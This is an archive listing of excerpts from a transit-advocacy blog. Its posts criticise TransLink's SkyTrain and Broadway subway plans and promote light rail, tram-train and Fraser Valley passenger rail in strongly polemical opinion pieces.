    Cutting through TransLink's hype and hoopla about the proposed aerial tramway to Simon Fraser University and despite their sham public input process, they remain mute on operating costs. This is a Trojan Horse, because the annual subsidies need ...

  • Another Gadgetbahnen Bites The Dust.

    Nothing new here. Monorails are proprietary railways and suffer the same ills that come with proprietary transit systems. They are expensive to operate and maintain. Spare parts tend to be expensive and hard to get, especially when the manufacturer ...

  • From 2015 - The Broadway Subway, No Value For Money

    The NDP have now blundered in approving the Broadway subway and photo-ops by Premier Horgan attributed what LRT is very good at and light-metro which is not very good at. Wrong script, wrong mode. LRT has a proven record of modal shift, attracting m...

  • Of Pressers, Photo-ops and Gadgetbahnen

    Premier Horgan doesn't get it. The NDP don't get it. The Liberals don't get it. The metro mayors don't get it. We are governed by a ship of fools. What we are getting is a $3 billion subway, which will operate a capacity limited propriet...

  • An Ongoing Charade

    Gordon Campbell is gone, due to his less than honest performance with the combined GST/PST, which cost him the Premiership. The public had enough and wanted him gone. But, Gordon Campbell echoed then and what still echoes today with the Mayor's Coun...

  • From September 15, 2010 - A Decade later, Nothing Has Changed

    What I find amusing is that  policy on regional transit has not changed as politicians do the same thing over and over again, ever expecting different results. It's easy and they just don't have to waste time dithering over details and anyways; "th...

  • STOP PRESS - Another Transit Study For The Fraser Valley. In Time For The Next Election?

    Zwei is going to reserve comment, except for the fact that Rail for the Valley's  Leewood Study, lays the groundwork for a viable regional rail service for the Fraser Valley. The Leewood Study, please click here. Transportation planning stud...

  • Flexibility

    Flexibility: Susceptible of modification or adaptation; adaptable. Dresden's successful freight tram, carried car parts from one factory to another in the city. Modern light rail is very flexible; it can operate as a tram, operating on-street; it...

  • Memo

    I know it is preaching to the converted, but we must get serious about regional transit. $4.6 billion to build 12.8 km of light metro is not spending money wisely. Spending $4.6 billion to build 12.8 km of light metro is based on dated thinking; d...

  • Instead of "Heavy" Rail, Let's Try "Very Light" Rail

    Interesting news from the Light Rail Transit Association - Very Light Rail. Very Light Rail is a LRT variant where smaller and lighter vehicles are used on routes that cannot support operation of larger vehicles. The costs for Very Light Rail is ...

  • Cut And Cover Subway Construction, Coming to Broadway?

      [caption id="attachment_23365" align="aligncenter" width="510" caption="Is cut and cover subway construction coming to Broadway?"][/caption] The following was sent to Zwei this week and it poses some interesting questions, but first a comm...

  • Reality Is A ............................

    There is another reason why transit may not return to pre Covid-19 levels any time soon; a reason that TransLink would never admit to: the service provided by TransLink is deemed third rate by customers. User friendliness is the number one reason peop...

  • Comparisons

    Let us make a comparison. In B.C., we are spending $4.6 billion to extend the Expo and Millennium Line's a mere 12.8 km, while in the UK, £1.2 billion (CAD $2.04 billion) is being spent t0 reopen four rail lines (this means completely rehabbing and...

  • Never On A Friday

    When government wants to bury an embarrassing news release, they release it on a Friday and hopes no one notices. Well, the BC government announced the preferred "proponent team" for the Broadway subway and the Surrey Expo Line extensions today, Fri...

  • Germany To Reopen 4,000 km of Closed Railway Lines

    What is happening elsewhere is not happening here. Instead, in BC government is squandering  billions of dollars on uneconomic 'rapid transit' lines to suit their electoral and bureaucratic needs. "Rapid Transit is needed infrastructure" is the cl...

  • Motherhood And Apple Pie

    Rail for the Valley has been long warning the public about the costs of  subway and light-metro construction costs, which fell on mainly deaf ears. Rapid transit is a " motherhood and apple pie" subject and the mainstream media will not report nega...

  • TransLink's Fear Of The Future And "The Interurban"

    [caption id="attachment_25214" align="aligncenter" width="460" caption="Early advertising for the proprietary ICTS/ALRT rapid transit system. In the end, only seven were built, including Vancouver, all with huge government subsidies. Modern light rail ...

  • TransLink Doubles Down on Rapid Transit

    TransLink, is the study of dichotomy. While the rest of the world has deemed light metro (including our SkyTrain light-metro system) obsolete because of cost and functionality, TransLink happily spends massive amounts of money planning and building ...

  • From The South Fraser Community Rail Society

    South Fraser Community Rail Society is one of many groups, along with Rail for the Valley, working for a reinstatement of passenger rail service to Chilliwack.   South Fraser Community Rail Society “Hydrogen Link Passenger Rail, Scott Rd....

  • TransLink Collides With A Financial Iceberg.

      Covid-19 has sent a chilling economic message to TransLink; "can it afford the proposed $4.6 billion, 12.8 km extensions to the light-metro system?" TransLink, through taxes, must ante up a sizable amount of cash to pay it's share of the...

  • Emergancy Plan....What Emergancy Plan?

    TransLink has a problem. As discussed before, TransLink's ridership performance is reported in "boarding's" and the transit system is so designed to force transit customers to "board" several times throughout their journey. This of course, greatly i...

  • Repeat A Lie Often Enough.....

    “If you tell a subway lie big enough and keep repeating it, people will eventually come to believe it. The subway lie can be maintained only for such time as the City of Vancouver and TransLink  can shield the people from the political, economic and...

  • Gatineau Goes Light Rail

    Some thoughts on the Gatineau light rail and the rejection of LRT in Surrey. The picture shows classic LRT, not a light-metro tarted up pretending to be LRT, such as is the newly opened Ottawa light rail. Lawned rights-of-way are both environment...

  • $4 Billion Pause For Thought

    All regional taxpayer's are losers with this. According to Ontario's MetroLinx (Metrolinx is a Crown agency that manages and integrates road and public transport in the Canadian province of Ontario) the 50 year cost for the 7 km Expo Line extension ...

  • The Truth About Transit South of the Fraser

    More from the South Fraser Community Rail Society. The Zwickau Vogtlandbahn TramTrain   South Fraser Community Rail Society “Hydrogen iLink Passenger Rail, Scott Rd. SkyTrain to Chilliwack” #connect the valley   TransLink’s ...

  • Is SkyTrain To Langley Derailed?

    No surprise here. The escalating cost to build with light metro, due to Covid 19, means there is little money in the pot to further extend the light-metro to Langley. TransLink is said to be in a state of shock as former customers are leaving tra...

  • The Expanding World Of TramTrain

    [caption id="attachment_24959" align="aligncenter" width="614" caption="TramTrain - what was once old, is new again!"][/caption] TramTrain, unknown in Canada, mocked by those who have not even researched the mode, is now expanding across the world. ...

  • Absolute Madness!

    Absolute madness from the Mayor's Council on Transit. The game has changed, the taxpayer is broke and cannot pay more. The transit customers are broke and cannot pay higher fares. Covid-19, like it or not has changed the transit game completely. ...

  • Reality Hits TransLink Square In The Face

    As Zwei has pointed out, the new Covid-19 reality has hit TransLink square in their hypocritical face. With cap in hand, TransLink went to provincial and federal governments for more handouts but it seems they have had enough and TransLink had t...

  • More Bad News For TransLink

    [caption id="attachment_24859" align="aligncenter" width="640" caption="The Charleroi light-metro, built but never used."][/caption] While TransLink's senior bureaucrats are desperately trying to salvage their embarrassingly high stipends, more bad ...

  • Did I just hear "Shovel Ready"?

    Two transit projects in BC are "shovel ready". 1) Rail for the Valley's plan for regional railway connecting, Chilliwack, Sardis, Abbotsford, Langley, Cloverdale and North Delta to Vancouver and 2) The E & N Railway connecting Courtney, Q...

  • Financial Ills for TransLink

    This is to be expected. The one big problem is that the SkyTrain light metro network needs about the same compliment of workers whether it operates at peak capacity or at a much reduced capacity. Unlike buses, where service can be reduced, with d...

  • Is It Time To Rethink SkyTrain Expansion?

    As reported, the ongoing Covid-19 epidemic has greatly reduced transit ridership. A 52% drop in boarding's from March 19, 2019 to March 19, 2020 is greatly affecting TransLink's bottom line. With over 80% of SkyTrain's ridership first take a bus...

  • Kuala Lumpor SkyTrain Revisted - The Legacy Of Corruption Continues

      More interesting insight on how Bombardier does business selling it proprietary rapid transit system abroad and please remember both BC Transit and TransLink were in partnership with bombardier to sell the now called Movia Automatic Light Metr...

  • The Ever Line SkyTrain Revisited - The Legacy

    One just has to shake ones head! Except for brief mentions of our local SkyTrain Lobby, we do not hear about the now called Movia Automatic Light metro system in Youngin and for very good reason, as it has mired Bombardier into a massive local scand...

  • Sourcing Parts For An Edsel

    I think the senior management at TransLink are worried, very worried. Bombardier is in serious finical trouble and is wanting to sell its rail division. With Covid-19, all deals are off, as transportation conglomerates cut operations to suit thei...

  • Roundabout? No doubt!

    It seems European tram planning is inching its way into the USA. A tram through a round about is an interesting concept and one hopes that the auto drivers are skilled enough to negotiate it safely. Large-roundabout on Marszalkowska Street near Cen...

  • Covid-19 - Time To Rethink Translink's Metro Plans?

    Something to think about. As ridership plummets on TransLink, it will be ever harder to implement the $4.6 billion extensions to the SkyTrain light-metro network as monies will be needed to shore up a collapsing transit network. Remember, the SkyTra...

  • Hats Off to Sandor Gyarmati - While In Other News......

    Hats off to Optimist reporter, Sandor Gyarmati as he correctly states: A Boarding represents each time a passenger enters a fare paid zone using Compass fare media or other proof of payment. Transfers are counted as additional boarding's. This is the...

  • Ottawa's Ongoing LRT Drama

    When  politicians get involved with transit, fiasco happens. When light-metro pretends to be light rail, fiasco happens. When the media's ignorance of light-metro and light rail is so evident and they fail to ask important questions, fiasco happ...

  • Smoke And Mirrors for The North Shore

    Smoke and mirrors. Classic political bait and switch; bait the public into thinking that the province is really doing something, but in reality, doing nothing. The key is funding and of course funding is never mentioned. Without having each op...

  • The Realities of Subway Mania In Lotus Land

      The realities of subway mania. Vancouver politicians live in "The Land of the Loyus Eaters", when it comes to transit. In Greek mythology the lotus-eaters, were a race of people living on an island dominated by the Lotus tree. The lotus fruit...

  • Adios Bombardier. Adios Movia Automatic Light Metro (SkyTrain)?

    As predicted, Alstom is now buying Bombardier Transportation for CAD $10 billion. The question, which may worry Translink and the hapless Mayor's Council on Transit is: "Will Alstom keep MALM (SkyTrain) production or abandon the proprietary lig...

  • Political Duplicity - The NDP Insults The Fraser Valley!

    I just shake my head. Premier Horgan's Chief of Staff, ex Vision(less) Vancouver Councillor and notorious Broadway subway promoter is the last person to discuss "rail" transit for the Fraser Valley. A West Coast Express commuter rail train with l...

  • Linked Trips Please! What is Translink Afraid Of?

    TransLink is trying to save face with recent acknowledgement that the Canada line is under built. What TransLink does not tell you is that over 80% of the Canada line's ridership, is forced to transfer from bus to metro at Bridgeport Station. All...

  • Slowly They "Get It"

    It is slowly beginning to dawn on people that SkyTrain will not be coming to their community anytime soon. It is also dawning on people that what we call SkyTrain is just much too expensive to build, that it can only can be built in small drips and ...

  • The Master Agreement Allowing Passenger Service On The Interurban Line

    For those who are interested in reinstating a passenger servcie on the former BC Electric interurban line from Vancouver to Chilliwack, this is essential reading. Highlights: “The Railway Operations Easement Area shall encompass the Tracks...

  • The Great Broadway Subway Grift Continues!

    One has to shake one's head as the Broadway subway lobby desperately tries to have their way. Reality is just not in their lexicon, as the city of Vancouver, UBC and several First Nations, all involved with land development along the route, are now ...

  • CBC Is Anti Tram - Why Am I Not Surprised At CBC's "Yellow Journalism"

    The CBC has aired, what can only be said, an ill informed program on streetcars. Why am I not surprised, as the CBC folded like a cheap deck chair and started singing hosannas about Montreal's ill advised REM Light metro. The CBC, cheap shots o...

  • Life With SNC Lavalin

    SNC Lavalin own engineering patents for the MALM (erroneously called SkyTrain) system used on the Expo and Millennium lines. SNC Lavalin leads the consortium operating the Canada line. The BC Liberal government inspired Canada Line (faux) P-3 saw ...

  • It's So Simple, The Expo and Millennium Lines Operate Movia Automatic Light Metro Not SkyTrain

    Bombardier's SkyTrain, a rubber tired people mover system. Originally posted March 19, 2019. So many politicians and members of the media still keep referring SkyTrain as a transit product. It is not, it is the name of Metro Vancouver's regional li...

  • Smoking Dope In Abby

    Really, the mayor of Abbotsford is just another politician which thinks the taxpayer has deep pockets to finance dream projects. Mayor Braun is completely out of touch about regional transit issues and wants someone else to ante up $8 billion fo...

  • Canada Line Hype and Hoopla

    One wonders why all the hype and hoopla is about with the new cars for the Canada Line? The recently delivered cars are standard ROTEM electrical multiple units, used by several transit systems, unlike the proprietary Movia Automatic Light Metro car...

  • Bombardier In Trouble

    Though TransLink will not admit it, and the Mayor's Council Transit, claims its not true, the truth is, the Expo and Millennium Lines operate with the proprietary MALM light metro system. Bombardier Inc. is the sole source manufacturer of MALM and n...

  • Embarrassment! TransLink Tells SkyTrain Customers To Go Home.

    Once again, TransLink demonstrates to all that it can't operate a popcorn stand, let alone a transit system. TransLink has known since 1986 that the mini-metro performs poorly in the snow, yet they do little or nothing to rectify the situation. A...

  • SNC Lavalin Back In The Game

    SNC Lavalin is back in the game after a wrist slap from the Canadian courts. The following is from Randy Chatterjee, who has been following the financial paper-trail from the RAV/Canada Line project; and it ain't pretty. The SNC Lavalin/Caisse/RO...

  • It Is Essential That LRT Is Designed By Consultants With Expertise In Modern LRT!

    TransLink has absolutely zero expertise with modern light rail, yet continually plans for grossly inferior light rail lines which under scrutiny shows so many flaws that their plans become laughable. The latest was then Surrey LRT, which was so over...

  • Expo & Millennium Line Ridership - 150,000 Per Weekday

    It is interesting, the on going debate about the SkyTrain light metro's ridership, especially when TransLink's spin doctors tell the truth. This comment by a TransLink spokesperson caught me by surprise and it has been repeated in both the mainstrea...

  • Only In Sweeden You Say ....... Pity

    One would think if our politicians and bureaucrats took public transit, the system would greatly improve. Sadly this is not the case and our regional politicians and bureaucrats are woefully ignorant of public transport and spend their energies promoti...

  • Montreal's REM - The Canada Line's Financial Clone

      Like the Canada Line light-metro, REM's funding comes from the the Caisse de dépot et placement du Québec (CDPQ) and being built by Canadian favourite, SNC Lavalin. Bombardier Inc., again got pipped at the post by a desperate Alstom/Hitac...

  • Chemnitz Tram-Train Passenger Traffic Doubles

      Chemitz TramTrain, using the Stadler Citylink has more than doubled ridership since operation commenced in 2016 by allowing, as in Karlsruhe, unimpeded service (no transfer) to the city centre by using light rail vehicles that can act bot...

  • OK Mr. Horgan and Translink, Why not TramTrain?

    [caption id="attachment_23593" align="aligncenter" width="500" caption="In Germany, TramTrain operates on mainline railways with mixed passenger and freight service, with little problem."][/caption]   It has now been 10 years since Rail for ...

  • Hydrogen Trains Coming To North America

    Hydrogen is coming and where is BC? TransLink? Metro Vancouver? Our politicians still want expensive 1960's transit systems; something to cut ribbons in front of at election time and not providing an affordable transit service. Even in the ...

  • Reality Check

    Transit rule number 1: You got to have funding to build and operate a transit line. The Mayors Council on Transit, is a little weak on this issue, especially after a mostly federal/provincial funded $4.6 billion grant to build 12.8 km of extensions t...

  • Massey Tunnel Shit Show

    Blunt title but it is time to be blunt, regional transit planning is a "shit show". Shit show: Noun, vulgar slang, US origin - a situation or event marked by chaos or controversy. This aptly describes our regional transit planning, where politicians ...

  • Rorschach Test

    The Zurich tram system. Overview: The tram network serves most city neighbourhoods, and is the backbone of public transport within the city. Open: 1882 Cauge: Metre Number of routes: 15 Route length: 118.7 km (73.8 mi) Owner: Zür...

  • Taxpayer, Can You Spare Billion Or Two?

    Simple question, folks; "Anyone with a spare billion or two to move the railway off the Whiterock/Surrey waterfront? $4.6 billion is the minimum being spent to add 12.8 km to the SkyTrain network and with other cities in the region clamouring for ...

  • Seriously Deluded, Or.......?

    Really? Is this the best we can expect from TransLink, deception? Two quotes from TransLink CEO, Kevin Desmond, are very disturbing: Desmond called the Canada Line, which just celebrated its 10th anniversary, a “smart investment". "But...

  • Seattle's Light metro Abandons $507 Million Tunnel

    Seattle's so called light rail system is in reality a light metro system that uses light rail vehicles. Over 90% of the system is grade separated either in subway or on elevated guide-ways. In the United States, light rail has morphed into light met...

  • Politicans Just Love Gadgetbahnen

      MAGLEV, the great Philosopher's Stone for transportation, yet in practice, MAGLEV's are extremely expensive and today, the high speed train is only slightly slower, much cheaper and far more flexible in operation. Sounds familiar doesn't...

  • Avignon Tram Opens In France

    It seems the French clearly understand the benefits of light rail, well they should, because they have studied both LRT and light-metro (VAL). Like Vancouver's SkyTrain, VAL was made by MATRA, the famous arms manufacturer and in the 1980's the gener...

  • Mott MacDonald To Study Major New Bridge For Vancouver

    Interesting news indeed and maybe the proposed bridge will supplant a new tunnel across the Fraser by a few more years. From the Global Construction Review.   News Mott MacDonald to study major new bridge for Vancouver 7 October 2...

  • Massey Tunnel In The News

    (Courtesy Integrity BC) Here we go again department. Once again the Massey Tunnel is in the news and every political hobby-horse is in play! Delta South MLA, farmer Ian Paton, wants the original Liberal inspired 10 lane bridge, which somehow will ma...

  • The Canada Line P-3, A Template for Graft and Corruption in Montreal

    As we all should know, the Caisse is the main finical backer of the Canada Line faux P-3 and using the BC Liberal P-3 process as a template, the Caisse is now funding Montreal's highly controversial REM light metro project. As built, the Canada Line...

  • Osaka - The City of Rugby And Trams

    Osaka, a Japanese city famous for rugby and trams. Hankai Tramway Co., Ltd.  (Hankai Denki Kidō Kabushiki Gaisha) is a company which owns two tramway lines in the cities of Osaka and Sakai, Osaka, Japan. The parent company is Nankai Electric Railw...

  • Ottawa's LRT Is Opening

    Ottawa's LRT is Opening. The term choo-choo, used by ill informed opponents of light rail is standard across the country but really has no basis as LRT remains one of the most effective way to move people. The problem in North America is that o...

  • Caen Opens Its New 16km, $373 Million Tram/LRT System

    The new 16.2 km tramway in Caen, France has opened after a nineteen month build. Granted the new tramway has used the the previous trouble prone, 15.7 km,  TVR rubber tire guided bus line, which opened in 20o2 and abandoned in 2017. The Euro ...

  • Streets Paved With Gold - Transit Planning is Driven By Politics

    Footnotes: The author,  Adrienne Tanner,  was city editor at the Sun, a newspaper that prevented any real reporting of our regional transit issues and took orders from back east to report "SkyTrain" in a positive light. As well, there was little inve...

  • Less Transit For More Money - The Canadain Way

    [caption id="attachment_23790" align="aligncenter" width="614" caption="A Paris tram - What Surrey's LRT could have been."][/caption] Here we go again. The combined naivete of regional mayors about regional transportation and the abandonment of...

  • Quebec City's $3.3 Billion Transit Plan - 23 km of LRT, 16 km Of Real BRT & More!

    An interesting comparison can be made with the just approved Quebec City light rail and BRT projects and Metro Vancouver's Mayor's Council/TransLink project, extending the light-metro system. In Quebec City, $3.3 billion will buy you 3.5 km of tunne...

  • Calgary LRT Angst

    The anti LRT schlock continues from the mainstream media. The BRT/LRT debate has been long over, but not in Canada it seems, where disgruntled bus-boy types whine that buses are cheaper. Well no, not really. The problem is that about $2 billio...

  • The Canada Line - Mediocrity Is Deemed Successful In Metro Vancouver

    In one of the most biased reporting yet by the media yet, the Canada line is deemed a success. Really? The $2.4 billion plus projects paved the way for Vancouver to get rather ineffectual regional and provincial politicians to sign blank cheques ...

  • Another Look At Gerald Fox's Review Of The Evergreen Line Business Case

    I cannot stress enough the importance of this short letter as it shreds TransLink's Business Case for the Evergreen Line. I did not support the Evergreen Line because from what I gleaned from all the studies and documents, that there was not the rid...

  • Politcal Penis Envy Drives Subway Costs

    This is rather old news and one questions why the media have not picked up on this earlier. Subways cost a lot of money to build, yet they provide no better service than modern light rail, unless traffic flows on the transit route surpass around 20,...

  • A Stark Choice

    The stark choice for the Fraser Valley. Does one want to spend $1.6 billion for seven or eight kilometres of a now obsolete light metro metro system, ending in  Fleetwood, with vague promises of future funding to go to Langley or a Vancouver to...

  • TransLink Wins An Award

    So, it ends up being a “participation medal” of sorts that’s shuffled around to a different member city each year, give the transit staff something to feel good about, but completely meaningless from an aspirational perspective. Brit Gardner ...

  • Tax, tax, tax - SkyTrain Needs New And Higher Taxes

    From the very beginning, building the SkyTrain network demanded new and higher taxes. As the SkyTrain light-metro network is automatic, it must be grade seperated and grade separation is costly. It is the Achilles heel of light-metro as construction is...

  • Mr. Cow Pegs It. Expo Line Extension Will Cost $3.2 billion

    I am continually amazed that an area like the lower mainland of BC, an area that claims to be so high tech, yet can’t get its head around the simplicity of a regional rail line using already available track. Yet, will spend billions and you guys...

  • The South Fraser Community Rail Society Valley Rail Protects Farmland and Forests.

    Another News Release from the The South Fraser Community Rail Society. By using existing railway rights-of-ways, there is little land take for operating the passenger service. By using existing railway rights-of-ways, reduces the overall cost of ...

  • The South Fraser Community Rail Society - Expo Line Extension To Langley Now Surpassing $200 Million/km!

    It seems the SkyTrain lobby has not had to face one Bill Vander Zalm, until now. Bill does not treat fools lightly and the deliberate misinformation about the valley rail project is being countered by some breathtaking cost comparisons. What should ...

  • Why Not Battery Powered EMU's For A Vancouver To Chilliwack Rail Service?

    As technology advances, the benefits of a "green" electric rail service will greatly increase. The long distance battery powered train is now upon us. A FLRT Akku battery powered train could be the answer for a regional passenger service in the Fras...

  • Valley Rail: Why Do We Not Do What Is Right?

    Here we have another try in doing what is the right thing to do, reinstate the Vancouver to Chilliwack rail service, using the former and intact BC Electric rail line. Using existing tracks greatly reduces the cost of a transit project. TransLink is ...

  • Trams Around The world

    In Metro Vancouver and its surrounds, there is a definite lack of knowledge of the modern tram. This lack of knowledge is illustrated by both politcal leaders and the mainstream media who treat the modern tram with disdain and prefer more photo-op read...

  • The Best Public Transportation Have Trams. Vancouver Does Not. Why?

    [caption id="attachment_23681" align="aligncenter" width="640" caption="Nottingham's new tramway"][/caption] Ah yes, if we were to believe TransLink and the Mayor's Council on Transit, Vancouver's unprogressive mayor, Vancouver is the envy...

  • Quebec city & Montreal Getting LRT, Why Is Vancouver Sticking With The Dated SkyTrain?

    Strange world isn't it. Both Montreal and Quebec city are getting new tram lines, yet Vancouver's politico's still want the hugely expensive, yet dated ART Movia Light-metro, which one one else around the world wants? Contrary to what the mayor a...

  • ION Opens - Canada's New Light Rail

    Kitchener's new LRT, ION, is now open! Stage 1 ION LRT, 19 km for $865 Million. Stage 2 ION LRT, 18 km for $1.25 Billion. Let's see, 37 km of LRT $1.895 billion, sounds like a deal with the $3 billion, 5.5 km ART Movia metro Broadway subway or the...

  • Here We Go Again - TransLink's Cunning Method of Manipulation

    The problem with TransLink is that you can never believe what it says; TransLink never produces a report based on the same set of assumptions." Former West Vancouver Clr. Victor Durman, Chair of the GVRD (now METRO) Finance Committee. One hates t...

  • More Comments On TransLink's Anti Valley Rail Screed

    This reply by our friend, Mr. Haveacow is very much worth reading. There are big problems extending SkyTrain; big problems equals lots of ta money, which equals more taxes and user fees. Like high gas prices, just continue building with SkyTr...

  • Nonsense From The Langley Times

    Such an ill informed column in the Langley Advance Times, that one would think it is a plant, by those who want to spend billions on SkyTrain, which is well past its "Best Before" date. Just who builds with ART Movia Metro (Expo and Millennium Lines...

  • TransLink's $3 Billion Waste Exposed!

      Support affordable and realistic transit options for the Fraser Valley!

  • The Truth about Translink's Push Poll On SkyTrain Expansion

    From the South Fraser Community Rail Folks. Comments about TransLink's recent push poll about expanding SkyTrain in Surrey. The Truth about TRANSLINK'S SURVEY RESULTS EXPOSED.... ...

  • TransLink Reannounces A Renouncement, Of A Reannouncement!

    Good news everyone, the federal liberals are giving TransLink money to buy new cars and upgrade the Expo Line, yippee. It's not additional money of course, rather a renouncement of a renouncement. Really, how much mileage can they get for $1.47 b...

  • Trams - The Way Of The Future

    As the debate over trams/LRT and or proprietary light metro intensifies, let us look and modern trams in operation around the world. Today, there is over 600 tram/light rail systems in operation or nearing completion, around the world. Only seven...

  • Trams Are Green - Subways Are Not!

    From the response from the previous post with about lawned rights-of-ways for trams, I offer more glimpses of what modern LRT should look like in Metro Vancouver and in any city considering modern light rail. Think of tram routes as linear parks. ...

  • When SkyTrain Grows Old

    Age is an expensive journey for older transit systems, especially older proprietary transit systems and the MK.1 cars operating on the SkyTrain network are indeed showing their age. The majority of Mk.1 cars are now over 34 years old and are in dire...

  • Stadler Trains For Ottawa's Trillium Line

    This is of great importance for Fraser Valley passenger  rail. The  Stadler FLIRT is a close cousin of the Stadler  GTW tramtrain and like the GTW, the articulated FLRT uses a diesel power-pack located in the middle of the train. The FLIRT DMU...

  • King Street Success - Lessons for Vancouver and Surrey!

    Kicking and screaming all the way, Toronto is now updating its heritage streetcar system to light rail standards and the the result is obvious, success. Modern trams, reserved rights-of-ways, all the key ingredients for successful LRT. Sadly, thi...

  • South Fraser Community RAIL

    South Fraser Community Rail South Fraser Community Rail is the latest group joining the struggle to get rail passenger service operating in the Fraser Valley. Instead of TramTrain and its variants, they opted for the hydrogen powered electric t...

  • King Street Versus the BS Line

    I added this article to demonstrate that is Canada, simple streetcar lines can carry large volumes of people. Each day, 84,000 people ride the King St. Streetcar, while TransLink claims a modest 60,000 people a day use Broadway. The King car is not...

  • Valley Rail Gaining Steam

    It's good news so far. The real trick is to plan for rail properly, which is hard to do in Metro Vancouver, where politicians think they are better at planning for transit than the real experts. It is hard to think any valley mayor and council wo...

  • BS Line To Nowhere Or The Big Dig Part 2

    Oh, the BS Line, Vancouver's great vanity project. All world class cities must have a subway, according to the "booster class" who just love mega projects. Last cost estimate for the BS Line is around $3.5 billion, not including cars. Looks li...

  • 90 Years And Counting

    Well, it has taken almost 90 years for transit planners in North America to realize that by giving a streetcar a dedicated lane it becomes light rail. European transit planners clearly understood by the 1930's that by giving a streetcar a dedicated rou...

  • Chilliwack Is On Board

    Finally! It seems the good burghers of Chilliwack see the benefits of a rail servcie connecting Vancouver to Chilliwack. A basic Vancouver to Chilliwack DMU servcie can be had for as little as $750 million and a more elaborate service using hydro...

  • Historic Public Transit Systems Versus Today

    From the Guardian newspaper. Mapped: historic public transit systems v their modern equivalents Artist Jake Berman plots old public transport systems in period style. From LA to Toronto, San Francisco to Buffalo, he has created maps...

  • Toronto's 6.2 KM Scarborough Subway Costs Soar To $3.9 Billion - What Will be The Real Cost Of The BS Line?

    I include this article from the Toronto Star to illustrate the escalating costs of subway construction. The one stop, 6.2 billion Scarborough subway cost has soared to $3.9 billion and climbing! Vancouver's 5.7 km six station Broadway subway cost...

  • Fiasco Brewing In Toronto

    When politicians with little knowledge of transit, involve themselves with transit planning, a fiasco is soon in the making. Vancouver's BS Line is a good example. It seems Premier Ford is entering the land of pixie dust and sparkle ponies. In...

  • Chaos Wednesday

    And SkyTrain never breaks down or stops service? Just saying. Commuter chaos amid problems on Expo, Canada Lines By Simon Little Online Journalist  Global News Passengers using the Expo and Canada Lines on Wednesday had to deal with m...

  • TramTrain Expands in Germany

    As TramTrain expands in Germany, it is time that the mode is considered for Metro Vancouver and Vancouver Island. Why is LRT so popular with transit planners and operators? It is the inherent flexibility of the system and TramTrain has now enable...

  • Something In The Air

    Something is in the air. Could it be that the sickening stench of the Broadway Subway or BS Line deal has reached the lofty halls of Postmedia? For decades, the Vancouver Sun and to a smaller extent, the Vancouver Province, refused to print negat...

  • When Will The lesson Be Learned?

    When will the lesson be learned? In today's world, the lowest bid is not always the best bid, rather it is the lowest bid that will make profit for the company bidding. Thus the lowest bid does not produce the best product. Like the Canada Line w...

  • Bombardier Is Building SkyTrain at LAX.....But, It ain't Our SkyTrain!

    [caption id="attachment_23237" align="aligncenter" width="717" caption="Bombardier's SkyTrain, a rubber tired people mover system."][/caption]   Los Angeles Airport (LAX)t is building a $5 billion SkyTrain system, which may cause confusi...

  • Lies, Damned Lies, and SkyTrain

    [caption id="attachment_23214" align="aligncenter" width="720" caption="Dortmund's SkyTrain - no relation to Vancouver's SkyTrain"][/caption]   Ah, the great SkyTrain debate is once again upon us and a Fox News style niche newspaper,...

  • I am Shocked, Shocked!

      I am shocked, shocked, that SNC Lavalin hold the Engineering patents for the proprietary Movia metro (SkyTrain)!   Let's not kid ourselves—Justin Trudeau has been the MP for SNC-Lavalin for a very long time by Charlie Smith ...

  • What Ottawa's Stage Two Will Get for $4.66 Billion

    Ottawa's LRT is expanding. Mind you Ottawa's, the Stage 2 LRT program went from $3.6 Billion to $4.7 Billion. This was due to three reasons. 1. Inflation from the 2015-2016 price estimate, mainly concrete and paying user fees for the new l...

  • Translink Continues To Decieve the Public And The Mainstream Media Sleeps

    One just has to shake ones head with TransLink. Calling it the "Ship of Fools" is not correct. The "Ship of Fools are those buying into Translink's continued propaganda stream. Earlier, Zwei debunked the TransLink inspired myth that Broadway was...

  • BROADWAY IS NOT THE BUSIEST TRANSIT ROUTE IN CANADA

      For the past several years, the SkyTrain Lobby, politicians and academics have all said, almost in unison, that Broadway was the busiest transit corridor in Canada, if not North America. The old Joseph Goebbels quote is true; “If you...

  • A Proven Winner

    Sin city is getting LRT. After flirting with Bombardier's Innovia monorail and optically guided buses, Las Vegas is now improving their regional transit system, with a proven winner, light rail transit. Light rail is the winning option for La...

  • The Mayors Council's Tunnel Vision

    It is hard to believe, that group of hapless politicians have just signed a death warrant for transit in the region. The Mayors Council on Transit just gave the OK to build a SkyTrain subway to UBC, which means the rest of the region can kiss good...

  • SkyTrain Again Craps Out In The Snow And The Mayor's Want To Build More?

    SkyTrain is noted internationally that it doesn't operate in the snow. Poorly designed and poorly maintained, means the so called backbone of our transit system, turns spineless, leaving thousands of people to fend for themselves. Toronto's Scarb...

  • New TramTrains for Manchester?

    As interest in TramTrain grows abroad, we are left with Translink's SkyTrain only planning. The lack of flexibility of SkyTrain will soon hamstring our urban rail system under the weight of massive subsidies and debt serving costs. TramTrain, fir...

  • B.S. Line Rethink?

    The B.S. line, an apt name for the proposed Broadway SkyTrain subway. What is more remarkable is that Postmedia allowed this to be printed. Could it be that the SkyTrain Lobby in Postmedia is beginning to weaken? Here is the real reason why th...

  • A Grim Reminder For The Expo Line

    A grim reminder indeed! Thanks to the Ford's in 2010, the SRT remains in place instead of the planned LRT conversion that was supposed to up and running either late last year or this year. It would not only cover the exiting line, but the 1980 plan ...

  • Am I the Last Voice against SkyTrain to UBC?

    Professor Patrick Condon vents about the Broadway SkyTrain subway. The question is; "Who is listening?"   Am I the Last Voice against SkyTrain to UBC? It will drive unaffordable condos in Vancouver. Which drives me nuts.   B...

  • The McElhanney Study is a political document masquerading as a technical one

    "It is interesting how TransLink has used this cunning method of manipulating analysis to justify SkyTrain in corridor after corridor, and has thus succeeded in keeping its proprietary rail system expanding." Gerald Fox, 2008 Malcolm Johnston...

  • Money, Money, Money - The Mayor's Council on Transit Courts Another FastFerry Scandal!

    The Mayor of Vancouver and the Mayor of Surrey discuss the Broadway Subway. What could go wrong? It takes a lot of money to operate a transit system and subways tend to be a financial black hole and are avoided unless ridership on a transit line deman...

  • The $7 billion SkyTrain Subway Grift Continues

    The Broadway SkyTrain subway grift continues with a new band of suckers who will  waste billions more  of taxpayer's monies on a politically prestigious transit project. So, Vancouver's carpet-bagging Mayor (former Burnaby NDP, MP) is continuing t...

  • Subways Cost, Cost, Cost

    Some transit blogs seem to think that building a subway is easy peasy , costing only a little more than a surface operation. This train of thought comes from a grand ignorance of subway construction and operation; with Translink's grand subway plans ba...

  • Adios the MK.1's?

